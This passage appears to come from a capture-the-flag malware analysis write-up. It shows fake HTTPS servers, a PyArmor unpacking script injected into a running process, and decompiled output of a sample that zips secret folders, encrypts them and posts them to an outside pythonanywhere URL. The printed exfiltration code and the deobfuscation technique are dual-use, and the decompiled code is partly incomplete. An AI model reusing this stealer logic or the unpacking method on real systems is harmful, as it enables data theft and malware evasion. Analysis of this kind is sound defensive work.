app = Flask(__name__)

@app.route('/', defaults={'path': ''}, methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS'])
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS'])
def catch_all(path):
    request_data = {
        'endpoint': f'/{path}',
        'method': request.method,
        'headers': dict(request.headers),
        'query_params': request.args.to_dict(),
        'ip': request.remote_addr,
        'body': request.get_json(silent=True) or request.form.to_dict()
    }

    print(request_data)

    return jsonify(request_data)

@app.route('/fetcher.php', methods=['GET'])
def download():
    global COUNTER
    print("COUNTER: ", COUNTER + 1)
    COUNTER += 1
    # print(f"[+] UPLOADED TO {json_data['savepath']} [+]")
    return send_file(f"./UPDATE/setup_{COUNTER}.exe", as_attachment=True)

if __name__ == "__main__":
    app.run(host='192.168.137.2', port=443, ssl_context=('cert.pem', 'key.pem'), debug=True)

Based on network dump, we can see that there is more than one request to the fetcher.php with GUID, so i've downloaded all the encrypted executable and put it on directory UPDATE.

After execution of function sub_140002650, we will get decrypted version of executable.

Let's extract the archive again.

Nothing suspicious from first update, let's continue to next update. Do the same flow to get the next update.

Looking at each file, we found suspicious file named sendDiagnostics.exe. Through decompiling we know that the executable produced from PyInstaller.

Let's extract it using pyinstxtractor.

By decompiling using pycdc, we can see that hello.pyc is protected using pyarmor.

There are several way to defeat pyarmor, during the competition i failed to deobfuscate it statically so i tried to do it dynamically.

First, when we run the sendDiagnostics.exe it will try to access URL. Because my sandbox doesn't connect to the internet it will shows an error regarding the failure of accessing the URL.

Previously i've been researching about pyamor and created a challenge regarding pyarmor also in past competition.

Following is my idea to get deobfuscated code

  • Use PyInjector to do following task

    • spawn python interactive to find entrypoint for decryption

    • execute deobfuscator script

  • If we use PyInjector, we need to inject the DLL to the running python process. If python process died, the interactive session will died also or the script running also died.

    • Error will terminate the python process (like connection error in image above)

  • To mitigate the issue regarding the termination of python process the idea is setting up fake HTTPs server and make the server sleep if there is a request. So it will make the client waiting for the response or terminate it if it reach the default timeout.

    • The step to create fake HTTPs server is same, the different only on code and FQDN

Following is the code for fake HTTPs server (gkfmdgkdgb.pythonanywhere.com)

from flask import Flask, request, jsonify, send_file
import json
import time

app = Flask(__name__)

@app.route('/', defaults={'path': ''}, methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS'])
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS'])
def catch_all(path):
    request_data = {
        'endpoint': f'/{path}',
        'method': request.method,
        'headers': dict(request.headers),
        'query_params': request.args.to_dict(),
        'ip': request.remote_addr,
        'body': request.get_json(silent=True) or request.form.to_dict()
    }

    print(request_data)
    time.sleep(100000)
    print("done")

    return jsonify(request_data)

if __name__ == "__main__":
    app.run(host='192.168.137.2', port=443, ssl_context=('cert.pem', 'key.pem'), debug=True)

Following are steps to spawn interactive python

  • Run sendDiagnostics.exe

  • Open process hacker then choose the sendDiagnostics.exe that has the largest private bytes

    • Miscellanious > Inject DLL > choose PyInjector_x64_shell.dll

If we use the script directly it will failed to find the frame because there is no frozen in current frames

But we can do it manually by inspecting each frame until found frozen hello

After that we can modify the existing script to get the frozen frame from the one that we got.

code.py
# Method #2
# By svenskithesource (https://github.com/Svenskithesource)
# Made for (https://github.com/Svenskithesource/PyArmor-Unpacker)

import dis
import inspect
import marshal
import os
import struct
import subprocess
import sys
import types
import typing
from functools import wraps
from pathlib import Path

import opcode

LOAD_GLOBAL = opcode.opmap["LOAD_GLOBAL"]
RETURN_OPCODE = opcode.opmap["RETURN_VALUE"].to_bytes(
    2, byteorder="little"
)  # Convert to bytes so it can be added to bytes easier later on
SETUP_FINALLY = opcode.opmap["SETUP_FINALLY"]
EXTENDED_ARG = opcode.opmap["EXTENDED_ARG"]
OPCODE_SIZE = 2  # can differ in older/newer versions
JUMP_FORWARD = opcode.opmap["JUMP_FORWARD"]

# All absolute jumps
JUMP_ABSOLUTE = opcode.opmap.get("JUMP_ABSOLUTE")
CONTINUE_LOOP = opcode.opmap.get("CONTINUE_LOOP")
POP_JUMP_IF_FALSE = opcode.opmap.get("POP_JUMP_IF_FALSE")
POP_JUMP_IF_TRUE = opcode.opmap.get("POP_JUMP_IF_TRUE")
JUMP_IF_FALSE_OR_POP = opcode.opmap.get("JUMP_IF_FALSE_OR_POP")
JUMP_IF_TRUE_OR_POP = opcode.opmap.get("JUMP_IF_TRUE_OR_POP")

absolute_jumps = [
    JUMP_ABSOLUTE,
    CONTINUE_LOOP,
    POP_JUMP_IF_FALSE,
    POP_JUMP_IF_TRUE,
    JUMP_IF_FALSE_OR_POP,
    JUMP_IF_TRUE_OR_POP,
]
# TODO more documentation

code_attrs = [  # ordered correctly by types.CodeType type creation
    "co_argcount",
    "co_posonlyargcount",
    "co_kwonlyargcount",
    "co_nlocals",
    "co_stacksize",
    "co_flags",
    "co_code",
    "co_consts",
    "co_names",
    "co_varnames",
    "co_filename",
    "co_name",
    "co_firstlineno",
    "co_lnotab",
    "co_freevars",
    "co_cellvars",
]

if sys.version_info.major < 3 or (
    sys.version_info.major == 3 and sys.version_info.minor < 8
):
    code_attrs.remove("co_posonlyargcount")

double_jump = (
    True if sys.version_info.major == 3 and sys.version_info.minor >= 10 else False
)


def get_magic():
    if sys.version_info >= (3, 4):
        from importlib.util import MAGIC_NUMBER

        return MAGIC_NUMBER
    else:
        import imp

        return imp.get_magic()


MAGIC_NUMBER = get_magic()


started_exiting = False


def calculate_extended_args(
    arg: int,
):  # This function will calculate the necessary extended_args needed
    """
    EXTENDED_ARG logic:
    - Its opcode shifts left by 8, and adds it to the next opcode
    - There are a maximum of 3 EXTENDED_ARGs for one opcode because
      the first of those will be shifted 3 times for a total of
      24 bits shifted. This fits exactly in the 32-bit integer boundaries.
    """
    extended_args = []
    new_arg = arg
    if arg > 255:
        extended_arg = arg >> 8
        while True:
            if extended_arg > 255:
                extended_args.append(extended_arg & 255)
                extended_arg >>= 8
            else:
                extended_args.append(extended_arg)
                extended_args.reverse() # reverse because we appended in the order
                                        # of most recent EXTENDED_ARG (the one closest to
                                        # the actual opcode) to the least recent EXTENDED_ARG
                                        # (the one farthest from the actual opcode)
                break

        new_arg = arg & 255
    return extended_args, new_arg


def execute_code_obj(obj: types.CodeType):
    def a():
        pass

    a.__code__ = obj

    number_of_regular_arguments = obj.co_argcount
    if sys.version_info.major > 3 or (
        sys.version_info.major == 3 and sys.version_info.minor > 7
    ):
        args = [i for i in range(obj.co_posonlyargcount)]
        number_of_regular_arguments -= obj.co_posonlyargcount
    else:
        args = []

    kwargs = {obj.co_varnames[-i]: i for i in range(obj.co_kwonlyargcount)}
    args.extend([i for i in range(number_of_regular_arguments - obj.co_kwonlyargcount)])

    try:
        a(*args, **kwargs)
    except:
        pass


def find_first_opcode(co: bytes, op_code: int):
    for i in range(0, len(co), 2):
        if co[i] == op_code:
            return i
    raise ValueError("Could not find the opcode")


def get_arg_bytes(co: bytes, op_code_index: int) -> bytearray:
    """
    This function calculate the argument of a call while considering the EXTENDED_ARG opcodes that may come before that
    """
    result = bytearray()
    result.append(co[op_code_index + 1])

    checked_opcode = op_code_index - 2
    while checked_opcode >= 0 and co[checked_opcode] == EXTENDED_ARG:
        result.insert(0, co[checked_opcode + 1])
        checked_opcode -= 2
    return result


def calculate_arg(co: bytes, op_code_index: int) -> int:
    return int.from_bytes(get_arg_bytes(co, op_code_index), "big")

def get_flags(flags):
    names = []
    for i in range(32):
        flag = 1<<i
        if flags & flag:
            names.append(flag)
            flags ^= flag
            if not flags:
                break

    return names

def flag_to_num(flags, exclude=[]):
    real = 0
    for flag in flags:
        if flag not in exclude:
            real ^= flag

    return real

def remove_async(flags: int) -> int:
    flag_lst = get_flags(flags)
    return flag_to_num(flag_lst, [128, 256, 512]) # all coroutine flags

def handle_under_armor(obj: types.CodeType):
    # TODO make handling EXTENDED_ARG a function
    i = find_first_opcode(obj.co_code, JUMP_FORWARD)
    jumping_arg = i + calculate_arg(obj.co_code, i)
    if double_jump:
        jumping_arg *= 2

    load_armor = jumping_arg + find_first_opcode(obj.co_code[jumping_arg:], LOAD_GLOBAL)

    pop_index = load_armor + 4

    obj = copy_code_obj(
        obj,
        co_code=obj.co_code[:pop_index] + RETURN_OPCODE + obj.co_code[pop_index + 2 :],
    )
    old_freevars = obj.co_freevars
    old_flags = obj.co_flags

    obj = copy_code_obj(obj, co_freevars=(), co_flags=remove_async(old_flags))

    try:
        execute_code_obj(obj)
    except Exception as e:
        print(e)

    obj = copy_code_obj(obj, co_code=obj.co_code, co_freevars=old_freevars, co_flags=old_flags)

    new_names = tuple(n for n in obj.co_names if n != "__armor__")
    return copy_code_obj(obj, co_code=obj.co_code[:jumping_arg], co_names=new_names)


def output_code(obj):
    if isinstance(obj, types.CodeType):
        obj = copy_code_obj(
            obj,
            co_names=tuple(output_code(name) for name in obj.co_names),
            co_varnames=tuple(output_code(name) for name in obj.co_varnames),
            co_freevars=tuple(output_code(name) for name in obj.co_freevars),
            co_cellvars=tuple(output_code(name) for name in obj.co_cellvars),
            co_consts=tuple(output_code(name) for name in obj.co_consts),
        )

        # TODO I think there is a bug here because the prints are really weird.
        if "pytransform" in obj.co_freevars:
            #  obj.co_name not in ["<lambda>", 'check_obfuscated_script', 'check_mod_pytransform']:
            pass
        elif "__armor__" in obj.co_names:
            # TODO I don't know when a function uses __armor__ but we should find it and add tests
            obj = handle_under_armor(obj)

        elif "__armor_enter__" in obj.co_names:
            obj = handle_armor_enter(obj)
        else:
            pass
    return obj


def handle_armor_enter(obj: types.CodeType):

    load_enter_function = b"".join(
        i.to_bytes(1, byteorder="big")
        for i in [LOAD_GLOBAL, obj.co_names.index("__armor_enter__")]
    )
    pop_top_start = obj.co_code.find(load_enter_function) + 4

    load_exit_function = b"".join(
        i.to_bytes(1, byteorder="big")
        for i in [LOAD_GLOBAL, obj.co_names.index("__armor_exit__")]
    )
    fake_exit = obj.co_code.find(load_exit_function) - 2

    new_code = (
        obj.co_code[:pop_top_start] + RETURN_OPCODE + obj.co_code[pop_top_start + 2 :]
    )  # replace the pop_top after __pyarmor_enter__ to return
    old_freevars = obj.co_freevars
    old_flags = obj.co_flags

    obj = copy_code_obj(obj, co_code=new_code, co_freevars=(), co_flags=remove_async(old_flags))

    try:
        execute_code_obj(obj)
    except Exception as e:
        print(e)

    obj = copy_code_obj(obj, co_code=obj.co_code, co_freevars=old_freevars, co_flags=old_flags)
    names = tuple(
        n for n in obj.co_names if not n.startswith("__armor")
    )  # remove the pyarmor functions
    raw_code = obj.co_code

    try_start = find_first_opcode(obj.co_code, SETUP_FINALLY)

    size = calculate_arg(obj.co_code, try_start)
    if double_jump:
        size *= 2
    raw_code = raw_code[: try_start + size]

    raw_code = raw_code[try_start + 2 :]
    raw_code += (
        RETURN_OPCODE  # add return # TODO this adds return none to everything? what?
    )

    raw_code = bytearray(raw_code)
    i = 0
    while i < len(raw_code):
        op = raw_code[i]
        if op in absolute_jumps:
            argument = calculate_arg(raw_code, i)

            while raw_code[i-2] == EXTENDED_ARG: # Remove the preceding extended arguments, we add our custom ones later on
                raw_code.pop(i-2) # opcode
                raw_code.pop(i-2) # arguments

                i -= 2
                op = raw_code[i]

            if double_jump:
                argument *= 2

            if argument == fake_exit:
                raw_code[i] = opcode.opmap[
                    "RETURN_VALUE"
                ]  # Got to use this because the variable is converted to bytes
                continue

            new_arg = argument - (try_start + 2)

            extended_args, new_arg = calculate_extended_args(new_arg)

            for extended_arg in extended_args:
                raw_code.insert(i, EXTENDED_ARG)
                raw_code.insert(
                    i + 1, extended_arg if not double_jump else extended_arg // 2
                )
                i += 2

            raw_code[i + 1] = new_arg if not double_jump else new_arg // 2

        i += 2

    raw_code = bytes(raw_code)

    return copy_code_obj(obj, co_names=names, co_code=raw_code)


def _pack_uint32(val):
    """Convert integer to 32-bit little-endian bytes"""
    return struct.pack("<I", val)


def code_to_bytecode(code, mtime=0, source_size=0):
    """
    Serialise the passed code object (PyCodeObject*) to bytecode as a .pyc file
    The args mtime and source_size are inconsequential metadata in the .pyc file.
    """

    # Add the magic number that indicates the version of Python the bytecode is for
    #
    # The .pyc may not decompile if this four-byte value is wrong. Either hardcode the
    # value for the target version (eg. b'\x33\x0D\x0D\x0A' instead of MAGIC_NUMBER)
    # or see trymagicnum.py to step through different values to find a valid one.
    data = bytearray(MAGIC_NUMBER)

    # Handle extra 32-bit field in header from Python 3.7 onwards
    # See: https://www.python.org/dev/peps/pep-0552
    if sys.version_info >= (3, 7):
        # Blank bit field value to indicate traditional pyc header
        data.extend(_pack_uint32(0))

    data.extend(_pack_uint32(int(mtime)))

    # Handle extra 32-bit field for source size from Python 3.2 onwards
    # See: https://www.python.org/dev/peps/pep-3147/
    if sys.version_info >= (3, 2):
        data.extend(_pack_uint32(source_size))

    data.extend(marshal.dumps(code))

    return data


def orig_or_new(func):
    sig = inspect.signature(func)
    kwarg_params = list(sig.parameters.keys())

    @wraps(func)
    def wrapee(orig, **kwargs):
        binding = sig.bind_partial(**kwargs)
        new_kwargs = binding.arguments
        for k in kwarg_params:
            if k not in new_kwargs:
                new_kwargs[k] = getattr(orig, k)
        return func(**new_kwargs)

    # add the original_object to the signature of the function
    orig_params = list(sig.parameters.values())
    orig_params.insert(
        0, inspect.Parameter("original_object", inspect.Parameter.POSITIONAL_ONLY)
    )
    sig.replace(parameters=orig_params)
    wrapee.__signature__ = sig
    return wrapee


def array_to_params(names_array):
    return [
        inspect.Parameter(name, inspect.Parameter.KEYWORD_ONLY, default=None)
        for name in names_array
    ]


def sig_from_array(names_array):
    def decor(f):
        sig = inspect.Signature(parameters=array_to_params(names_array))

        @wraps(f)
        def wrappe(**kwargs):
            bound = sig.bind(**kwargs)
            bound.apply_defaults()
            return f(**bound.kwargs)

        wrappe.__signature__ = sig
        return wrappe

    return decor


@orig_or_new
@sig_from_array(code_attrs)
def copy_code_obj(**kwargs):
    """
    create a copy of code object with different paramters.
    If a parameter is None then the default is the previous code object values
    """
    args = [kwargs[name] for name in code_attrs]
    return types.CodeType(*args)


def marshal_to_pyc(file_path: typing.Union[str, Path], code: types.CodeType):
    file_path = str(file_path)
    pyc_code = code_to_bytecode(code)
    with open(file_path, "wb") as f:
        f.write(pyc_code)


if __name__ == "__main__":
    code = list(sys._current_frames().values())[1].f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_code
    code = output_code(code)
    filename = code.co_filename.replace("<frozen ", "").replace(">", "")
    if filename.endswith(".pyc"):
        pass
    elif filename.endswith(".py"):
        filename += "c"
    else:
        filename += ".pyc"

    DUMP_DIR = Path("./dump")
    DUMP_DIR.mkdir(exist_ok=True)

    marshal_to_pyc(DUMP_DIR / filename, code)

Put the file in same folder with PyInjector_x64.dll , then you will get .pyc file in dump directory in the same directory with sendDiagnostics.exe. Next we can use pycdc or pylingual to decompile the pyc file.

pycdc output
# Source Generated with Decompyle++
# File: hello.pyc (Python 3.7)

(lllllllllllllll, llllllllllllllI, lllllllllllllIl, lllllllllllllII, llllllllllllIll, llllllllllllIlI, llllllllllllIIl, llllllllllllIII, lllllllllllIlll, lllllllllllIllI, lllllllllllIlIl, lllllllllllIlII, lllllllllllIIll) = (int, reversed, print, bytearray, map, str, len, bytes, __name__, bool, ValueError, list, range)
from tempfile import TemporaryDirectory as llIIlllIlIlIlI
from os import walk as IlIIlIIIllIllI
from shutil import copy2 as lIIllIlIIIIIII
from zipfile import ZipFile as lIllIlIllIlIll, ZIP_DEFLATED as IIlIlIIlIllIIl
from requests import post as llIIIIIIllIIlI
from pathlib import Path as IIIIlllIIllIIl
from typing import List as IIlllIlllIllll, Tuple as llIlIIlIIllIIl
SRC_DIRS: IIlllIlllIllll[llllllllllllIlI] = [
    'C:\\SecretMusic_01bc59b0059dd953cc8e59bdc86937f1839d9338aabbef279e92cc94680310c8',
    'C:\\SecretDocuments_78dbfebd2b180fccff80a1c7dc7d2696744ac111a4ff26f94bd715b52aabc112']
DEST_URL: llllllllllllIlI = 'https://gkfmdgkdgb.pythonanywhere.com/sendDiagnostic.php'
lIllllIIlIIIlllIlI = 8

def IIlIIIIIIIIllllIIl(IIllIIIIIIlIllIlIl = None, lIlIlIIllIIIlIlIll = None):
    IIlIllIlIIllIIIIlI = lIlIlIIllIIIlIlIll - llllllllllllIIl(IIllIIIIIIlIllIlIl) % lIlIlIIllIIIlIlIll
    return IIllIIIIIIlIllIlIl + llllllllllllIII([
        IIlIllIlIIllIIIIlI]) * IIlIllIlIIllIIIIlI

lllIllIllIlllIlIll=[58,50,42,34,26,18,10,2,60,52,44,36,28,20,12,4,62,54,46,38,30,22,14,6,64,56,48,40,32,24,16,8,57,49,41,33,25,17,9,1,59,51,43,35,27,19,11,3,61,53,45,37,29,21,13,5,63,55,47,39,31,23,15,7]
IIlIllIIllIlIllIll=[40,8,48,16,56,24,64,32,39,7,47,15,55,23,63,31,38,6,46,14,54,22,62,30,37,5,45,13,53,21,61,29,36,4,44,12,52,20,60,28,35,3,43,11,51,19,59,27,34,2,42,10,50,18,58,26,33,1,41,9,49,17,57,25]
llIlllIIIlIIlIllll=[32,1,2,3,4,5,4,5,6,7,8,9,8,9,10,11,12,13,12,13,14,15,16,17,16,17,18,19,20,21,20,21,22,23,24,25,24,25,26,27,28,29,28,29,30,31,32,1]
IIIlIllIIlllIIlllI=[16,7,20,21,29,12,28,17,1,15,23,26,5,18,31,10,2,8,24,14,32,27,3,9,19,13,30,6,22,11,4,25]
lIlIllllIlIllIIIll=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4]
lllIIIlIlIlllllIll=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32]
IIlIIIIIIllllIlIlI=[1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1]
IllIIIlllIIllllIll=[[[14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7],[0,15,7,4,14,2,13,1,10,6,12,11,9,5,3,8],[4,1,14,8,13,6,2,11,15,12,9,7,3,10,5,0],[15,12,8,2,4,9,1,7,5,11,3,14,10,0,6,13]],[[15,1,8,14,6,11,3,4,9,7,2,13,12,0,5,10],[3,13,4,7,15,2,8,14,12,0,1,10,6,9,11,5],[0,14,7,11,10,4,13,1,5,8,12,6,9,3,2,15],[13,8,10,1,3,15,4,2,11,6,7,12,0,5,14,9]
],[[10,0,9,14,6,3,15,5,1,13,12,7,11,4,2,8],[13,7,0,9,3,4,6,10,2,8,5,14,12,11,15,1],[13,6,4,9,8,15,3,0,11,1,2,12,5,10,14,7],[1,10,13,0,6,9,8,7,4,15,14,3,11,5,2,12]],[[7,13,14,3,0,6,9,10,1,2,8,5,11,12,4,15],[13,8,11,5,6,15,0,3,4,7,2,12,1,10,14,9],[10,6,9,0,12,11,7,13,15,1,3,14,5,2,8,4],[3,15,0,6,10,1,13,8,9,4,5,11,12,7,2,14]],[[2,12,4,1,7,10,11,6,8,5,3,15,13,0,14,9],[14,11,2,12,4,7,13,1,5,0,15,10,3,9,8,6],[4,2,1,11,10,13,7,8,15,9,12,5,6,3,0,14],[11,8,12,7,1,14,2,13,6,15,0,9,10,4,5,3]],[[12,1,10,15,9,2,6,8,0,13,3,4,14,7,5,11],[10,15,4,2,7,12,9,5,6,1,13,14,0,11,3,8],[9,14,15,5,2,8,12,3,7,0,4,10,1,13,11,6],[4,3,2,12,9,5,15,10,11,14,1,7,6,0,8,13]],[[4,11,2,14,15,0,8,13,3,12,9,7,5,10,6,1],[13,0,11,7,4,9,1,10,14,3,5,12,2,15,8,6],[1,4,11,13,12,3,7,14,10,15,6,8,0,5,9,2],[6,11,13,8,1,4,10,7,9,5,0,15,14,2,3,12]],[[13,2,8,4,6,15,11,1,10,9,3,14,5,0,12,7],[1,15,13,8,10,3,7,4,12,5,6,11,0,14,9,2],[7,11,4,1,9,12,14,2,0,6,10,13,15,3,5,8],[2,1,14,7,4,10,8,13,15,12,9,0,3,5,6,11]]]

def IIlllIIllIIIlIIIII(lllIlIlllIlllIIIII = None, lIIlIIIIIIIlllIlIl = None, IIIlIlIlIllIIIlIII = None):
    IlIllIIIllIllllIll = 0
    for IIlIIIIIlIlIIlIIlI in lIIlIIIIIIIlllIlIl:
        IlIllIIIllIllllIll = IlIllIIIllIllllIll << 1 | lllIlIlllIlllIIIII >> IIIlIlIlIllIIIlIII - IIlIIIIIlIlIIlIIlI & 1

    return IlIllIIIllIllllIll


def IlIIIlIllllIIIIlIl(IIIlIlIIllIIIIlIII = None, IlIllIlIIIIIlIIIll = None, IllIIlIlIIIllIllIl = None):
    return IIIlIlIIllIIIIlIII << IlIllIlIIIIIlIIIll & (1 << IllIIlIlIIIllIllIl) - 1 | IIIlIlIIllIIIIlIII >> IllIIlIlIIIllIllIl - IlIllIlIIIIIlIIIll


def IlIlllllIllllllllI(lIlllIIIIIllIlllll = None):
    lIlIIIIIIIllIlIIll = IIlllIIllIIIlIIIII(lIlllIIIIIllIlllll, lIlIllllIlIllIIIll, 64)
    lIIIIIlIIIIlIllIll = lIlIIIIIIIllIlIIll >> 28 & 268435455
    IlllIIIlIlllIlIlll = lIlIIIIIIIllIlIIll & 268435455
    IllIIlIlIlIIIlIIII = []
    for lIllIlIIllIlIlIllI in IIlIIIIIIllllIlIlI:
        lIIIIIlIIIIlIllIll = IlIIIlIllllIIIIlIl(lIIIIIlIIIIlIllIll, lIllIlIIllIlIlIllI, 28)
        IlllIIIlIlllIlIlll = IlIIIlIllllIIIIlIl(IlllIIIlIlllIlIlll, lIllIlIIllIlIlIllI, 28)
        IIlIllIIIllIIlIIIl = lIIIIIlIIIIlIllIll << 28 | IlllIIIlIlllIlIlll
        IllIIlIlIlIIIlIIII.append(IIlllIIllIIIlIIIII(IIlIllIIIllIIlIIIl, lllIIIlIlIlllllIll, 56))

    return IllIIlIlIlIIIlIIII


def llIlllIIIlIllllIIl(IlIlIIllllIlllIlII = None, IlIllllIlIIIllIIIl = None):
    IllIlllIIllllllIll = IIlllIIllIIIlIIIII(IlIlIIllllIlllIlII, llIlllIIIlIIlIllll, 32)
    IIllIIlIIllllIIllI = IllIlllIIllllllIll ^ IlIllllIlIIIllIIIl
    IlIllIIIllIllllIll = 0
    for lIlIIIIIlIIIIlIIll in lllllllllllIIll(8):
        IlIlllIIIIlIlIIlIl = IIllIIlIIllllIIllI >> 42 - 6 * lIlIIIIIlIIIIlIIll & 63
        llIlIlllllIlllIIlI = (IlIlllIIIIlIlIIlIl >> 5) << 1 | IlIlllIIIIlIlIIlIl & 1
        IIlIIIllIIIlllIIll = IlIlllIIIIlIlIIlIl >> 1 & 15
        IlIllIIIllIllllIll = IlIllIIIllIllllIll << 4 | IllIIIlllIIllllIll[lIlIIIIIlIIIIlIIll][llIlIlllllIlllIIlI][IIlIIIllIIIlllIIll]

    return IIlllIIllIIIlIIIII(IlIllIIIllIllllIll, IIIlIllIIlllIIlllI, 32)


def lIIIlIlIlIlllIIlIl(lllIlIlllIlllIIIII = None, IllIIlIlIlIIIlIIII = None):
    IlIlIlllIIIIlIIIII = lllllllllllllll.from_bytes(lllIlIlllIlllIIIII, 'big')
    IlIlIlllIIIIlIIIII = IIlllIIllIIIlIIIII(IlIlIlllIIIIlIIIII, lllIllIllIlllIlIll, 64)
    IllIIIlIllIIlIlIII = IlIlIlllIIIIlIIIII >> 32
    IlllIIIIllIIlllIIl = IlIlIlllIIIIlIIIII & 0xFFFFFFFFL
    for llIIIlIIIIIllllllI in IllIIlIlIlIIIlIIII:
        IllIIIlIllIIlIlIII = IlllIIIIllIIlllIIl
        IlllIIIIllIIlllIIl = IllIIIlIllIIlIlIII ^ llIlllIIIlIllllIIl(IlllIIIIllIIlllIIl, llIIIlIIIIIllllllI)

    IllIllIllIlIIIlIIl = IlllIIIIllIIlllIIl << 32 | IllIIIlIllIIlIlIII
    IlIlIlIIIIlIlIlIlI = IIlllIIllIIIlIIIII(IllIllIllIlIIIlIIl, IIlIllIIllIlIllIll, 64)
    return IlIlIlIIIIlIlIlIlI.to_bytes(8, 'big')


class lIIIIIIlIIlIIIIlIl:

    def __init__(IlIllIIlIIIlIIIIlI = None, lIIlllIIllllIIlIIl = None, lIlllIllIIlIIIlIII = None):
        if llllllllllllIIl(lIIlllIIllllIIlIIl) != 24:
            raise lllllllllllIlIl('1')
        if None(lIlllIllIIlIIIlIII) != 8:
            raise lllllllllllIlIl('2')
        IlIllIIlIIIlIIIIlI.IllIIIllIllIIIIlll = None.from_bytes(lIIlllIIllllIIlIIl[0:8], 'big')
        IlIllIIlIIIlIIIIlI.IIllIllIIIIlIIlIlI = lllllllllllllll.from_bytes(lIIlllIIllllIIlIIl[8:16], 'big')
        IlIllIIlIIIlIIIIlI.IlIlIIllllIlIllIII = lllllllllllllll.from_bytes(lIIlllIIllllIIlIIl[16:], 'big')
        IlIllIIlIIIlIIIIlI.lllIlllIIllIllllIl = lllllllllllllll.from_bytes(lIlllIllIIlIIIlIII, 'big')
        IlIllIIlIIIlIIIIlI.lllllIIlIlIlIllIII = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IllIIIllIllIIIIlll)
        IlIllIIlIIIlIIIIlI.IlIlIIIlIIIIlIlIII = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IIllIllIIIIlIIlIlI)
        IlIllIIlIIIlIIIIlI.llllIIIlIllIIIlIlI = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IlIlIIllllIlIllIII)
        IlIllIIlIIIlIIIIlI.llllIIllllIlIlIlIl = lllllllllllIlII(llllllllllllllI(IlIllIIlIIIlIIIIlI.IlIlIIIlIIIIlIlIII))


    def IIlllllllllllIIlIl(IlIllIIlIIIlIIIIlI = None, IIllIIIIIIlIllIlIl = None):
        if llllllllllllIIl(IIllIIIIIIlIllIlIl) % 8:
            raise lllllllllllIlIl('Data must be 8-byte aligned (pad first)')
        lllIlllIIllIllllIl = None.lllIlllIIllIllllIl
        IlIllIIIllIllllIll = lllllllllllllII()
        for lIlIIIIIlIIIIlIIll in lllllllllllIIll(0, llllllllllllIIl(IIllIIIIIIlIllIlIl), 8):
            lllIlIlllIlllIIIII = lllllllllllllll.from_bytes(IIllIIIIIIlIllIlIl[lIlIIIIIlIIIIlIIll:lIlIIIIIlIIIIlIIll + 8], 'big') ^ lllIlllIIllIllllIl
            lllIlIlllIlllIIIII = lllllllllllllll.from_bytes(lIIIlIlIlIlllIIlIl(lllIlIlllIlllIIIII.to_bytes(8, 'big'), IlIllIIlIIIlIIIIlI.lllllIIlIlIlIllIII), 'big')
            lllIlIlllIlllIIIII = lllllllllllllll.from_bytes(lIIIlIlIlIlllIIlIl(lllIlIlllIlllIIIII.to_bytes(8, 'big'), IlIllIIlIIIlIIIIlI.llllIIllllIlIlIlIl), 'big')
            lllIlIlllIlllIIIII = lllllllllllllll.from_bytes(lIIIlIlIlIlllIIlIl(lllIlIlllIlllIIIII.to_bytes(8, 'big'), IlIllIIlIIIlIIIIlI.llllIIIlIllIIIlIlI), 'big')
            lllIlllIIllIllllIl = lllIlIlllIlllIIIII
            IlIllIIIllIllllIll.extend(lllIlIlllIlllIIIII.to_bytes(8, 'big'))

        return llllllllllllIII(IlIllIIIllIllllIll)



def IIlIllIIllIIIIllII(lIIlllIIIIIIllllll = None, llIIIIllIIIIlIIIll = None):
Unsupported opcode: WITH_CLEANUP_START
    pass
# WARNING: Decompyle incomplete

if lllllllllllIlll == '__main__':
    IIlIllIIllIIIIllII(SRC_DIRS, DEST_URL)
pylingual output
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: <frozen hello>
# Bytecode version: 3.7.0 (3394)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
from tempfile import TemporaryDirectory as llIIlllIlIlIlI
from os import walk as IlIIlIIIllIllI
from shutil import copy2 as lIIllIlIIIIIII
from zipfile import ZipFile as lIllIlIllIlIll, ZIP_DEFLATED as IIlIlIIlIllIIl
from requests import post as llIIIIIIllIIlI
from pathlib import Path as IIIIlllIIllIIl
from typing import List as IIlllIlllIllll, Tuple as llIlIIlIIllIIl
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
DEST_URL: llllllllllllIlI = 'https://gkfmdgkdgb.pythonanywhere.com/sendDiagnostic.php'
lIllllIIlIIIlllIlI = 8
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
    '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
    '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
    IlIllIIIllIllllIll = 0
    for IIlIIIIIlIlIIlIIlI in lIIlIIIIIIIlllIlIl:
        '''Decompiler error: line too long for translation. Please decompile this statement manually.'''

